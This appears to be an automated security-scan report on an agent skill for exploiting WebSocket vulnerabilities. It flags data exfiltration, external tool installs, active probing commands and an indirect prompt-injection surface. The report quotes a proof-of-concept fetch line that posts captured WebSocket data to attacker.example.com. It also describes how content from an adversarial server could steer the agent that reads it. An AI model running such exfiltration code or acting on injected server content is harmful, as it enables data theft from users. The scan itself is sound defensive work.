The Agent Skills Directory

[DATA_EXFILTRATION]: The skill includes a Cross-Site WebSocket Hijacking (CSWSH) proof-of-concept in SKILL.md that captures real-time WebSocket data and exfiltrates it to a remote server.
Evidence: fetch("https://attacker.example.com/collect", { method: "POST", body: event.data }); in SKILL.md.
Note: The destination URL https://attacker.example.com/collect has been flagged as malicious by automated scanners for phishing associations.
[EXTERNAL_DOWNLOADS]: The skill instructions require the installation of multiple external tools and libraries from public registries.
Evidence: Commands include cargo install websocat, npm install -g wscat, and pip install websockets in SKILL.md and references/api-reference.md.
[COMMAND_EXECUTION]: The skill executes various network-probing commands and provides a custom Python script to perform active vulnerability assessments against target systems.
Evidence: Use of curl, wscat, and scripts/agent.py to send specifically crafted WebSocket upgrade requests and payloads to user-defined targets.
[INDIRECT_PROMPT_INJECTION]: The assessment script ingests data from external WebSocket servers, creating a potential surface for indirect injection if a target server is adversarial.
Ingestion points: ws.recv() in test_message_injection and test_idor_channels functions within scripts/agent.py.
Boundary markers: No explicit boundary markers or "ignore embedded instructions" warnings are used for data received from the network.
Capability inventory: The script can perform further network requests via the requests library and write results to a local JSON file.
Sanitization: The script truncates responses to 300 characters for logging purposes but does not sanitize or escape the content for malicious patterns.

exploiting-websocket-vulnerabilities